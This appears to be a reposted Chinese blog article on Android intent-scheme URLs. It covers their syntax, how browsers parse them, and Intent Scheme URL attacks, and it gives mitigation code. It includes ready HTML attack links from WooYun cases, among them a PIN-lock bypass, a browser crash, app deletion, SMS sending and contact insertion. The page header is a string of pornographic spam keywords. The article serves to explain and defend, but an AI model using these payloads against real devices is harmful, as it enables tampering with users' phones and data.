日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

android chrome iframe设置src属性无法启动app

發(fā)布時(shí)間:2024/1/17 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 android chrome iframe设置src属性无法启动app 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x01 Android Intents with Chrome


Android有一個(gè)很少人知道的特性可以通過(guò)web頁(yè)面發(fā)送intent來(lái)啟動(dòng)apps。以前通過(guò)網(wǎng)頁(yè)啟動(dòng)app是通過(guò)設(shè)置iframe的src屬性,例如:

<iframe src="paulsawesomeapp://page1"> </iframe>

此方法適用version 18或者更早版本。其他android瀏覽器也適用。 這個(gè)功能在安卓chrome 瀏覽器version 25之后版本發(fā)生了改變。不能在通過(guò)設(shè)置iframe標(biāo)簽的src屬性來(lái)啟動(dòng)app了。取而代之的是你應(yīng)該通過(guò)自定義scheme實(shí)現(xiàn)用戶手勢(shì)啟動(dòng)app或者使用本文描述的“intent:”語(yǔ)法。

1.1 基本語(yǔ)法

“最佳實(shí)踐”是構(gòu)造一個(gè)intent插入網(wǎng)頁(yè)中使用戶能夠登錄app。這為您提供了更多的靈活性在控制應(yīng)用程序是如何啟動(dòng),包括傳通過(guò)Intent Extras傳遞額外信息。 intent-based URI基本語(yǔ)法如下:

intent:HOST/URI-path // Optional host#Intent;package=[string];action=[string];category=[string];component=[string];scheme=[string];end;

?

語(yǔ)法細(xì)節(jié)見(jiàn)源碼Android source

1.2 簡(jiǎn)單舉例

例子是一個(gè)intent登陸應(yīng)用“Zxing barcode scanner”,語(yǔ)法如下:

intent://scan/#Intent;package=com.google.zxing.client.android;scheme=zxing;end;

設(shè)置a標(biāo)簽發(fā)href屬性:

<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>

Package和host定義在配置文件中Android Zxing Manifest

1.3 注意事項(xiàng)

如果調(diào)用activity的intent包含extras,同樣可以包含這些。 Activity只有配置了category filter才有被android.intent.category.BROWSABLE通過(guò)這種方式在瀏覽器中打開(kāi),因?yàn)檫@樣表明其是安全的。

1.4 另請(qǐng)參閱

? Android Intents and Intent Filters

? Android Activities

0x02 利用思路


在Android上的Intent-based攻擊很普遍,這種攻擊輕則導(dǎo)致應(yīng)用程序崩潰,重則可能演變提權(quán)漏洞。當(dāng)然,通過(guò)靜態(tài)特征匹配,Intent-Based的惡意樣本還是很容易被識(shí)別出來(lái)的。 然而最近出現(xiàn)了一種基于Android Browser的攻擊手段——Intent Scheme URLs攻擊。這種攻擊方式利用了瀏覽器保護(hù)措施的不足,通過(guò)瀏覽器作為橋梁間接實(shí)現(xiàn)Intend-Based攻擊。相比于普通Intend-Based攻擊,這種方式極具隱蔽性,而且由于惡意代碼隱藏WebPage中,傳統(tǒng)的特征匹配完全不起作用。除此之外,這種攻擊還能直接訪問(wèn)跟瀏覽器自身的組件(無(wú)論是公開(kāi)還是私有)和私有文件,比如cookie文件,進(jìn)而導(dǎo)致用戶機(jī)密信息的泄露。

0x03 1.3 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>??

從用法上看,還是很好理解的,這里的代碼等價(jià)于如下Java代碼:

Intent intent = new Intent("myaction");?? intent.setData(Uri.parse("mydata"));?? intent.setType("text/plain");??

再看一個(gè)例子:

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

上面的語(yǔ)句,等價(jià)于如下Java代碼:

Intent intent = new Intent("myaction");?? intent.setData(Uri.pase("//foobar/"));?? intent.putExtra("xyz", "123");?? intent.putExtra("abc", 678);??

其中S代表String類(lèi)型的key-value,i代表int類(lèi)型的key-value。 源碼中提供了Intent.parseUri(String uri)靜態(tài)方法,通過(guò)這個(gè)方法可以直接解析uri,如果想更一步了解其中的語(yǔ)法,可以查看官方源碼。

0x04 Intent scheme URI的解析及過(guò)濾


如果瀏覽器支持Intent Scheme URI語(yǔ)法,一般會(huì)分三個(gè)步驟進(jìn)行處理:

  • 利用Intent.parseUri解析uri,獲取原始的intent對(duì)象;
  • 對(duì)intent對(duì)象設(shè)置過(guò)濾規(guī)則,不同的瀏覽器有不同的策略,后面會(huì)詳細(xì)介紹;
  • 通過(guò)Context.startActivityIfNeeded或者Context.startActivity發(fā)送intent; 其中步驟2起關(guān)鍵作用,過(guò)濾規(guī)則缺失或者存在缺陷都會(huì)導(dǎo)致Intent Schem URL攻擊。
  • 關(guān)鍵函數(shù)

    Intent.parseUri()

    繞過(guò)

    Intent.setComponent(null);

    使用sel;

    0x05 烏云案例


    WooYun: qq瀏覽器IntentScheme處理不當(dāng)

    WooYun: 傲游云瀏覽器遠(yuǎn)程隱私泄露漏洞(需要一定條件)

    某瀏覽器對(duì)此支持非常好

    <a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">設(shè)置繞過(guò)Pin碼(android 3.0-4.3) </a>

    <a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">qq瀏覽器崩潰 </a>

    <a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end">打開(kāi)原生瀏覽器 </a>


    <a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">發(fā)送短信 </a><br>
    <a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">打開(kāi)相機(jī) </a><br>
    <a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end">刪除應(yīng)用 </a><br>
    <a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end">添加聯(lián)系人 </a><br>

    0x06 修復(fù)


    通過(guò)以上漏洞的描述,總結(jié)得出一種相對(duì)比較安全的Intent Filter方法,代碼如下:

    // convert intent scheme URL to intent object?? Intent intent = Intent.parseUri(uri);?? // forbid launching activities without BROWSABLE category?? intent.addCategory("android.intent.category.BROWSABLE");?? // forbid explicit call?? intent.setComponent(null);?? // forbid intent with selector intent?? intent.setSelector(null);?? // start the activity by the intent?? context.startActivityIfNeeded(intent, -1);??

    0x07 參考


    http://www.mbsd.jp/Whitepaper/IntentScheme.pdf http://blog.csdn.net/l173864930/article/details/36951805

    轉(zhuǎn)載于:https://www.cnblogs.com/gaoxue/p/4087861.html

    總結(jié)

    以上是生活随笔為你收集整理的android chrome iframe设置src属性无法启动app的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。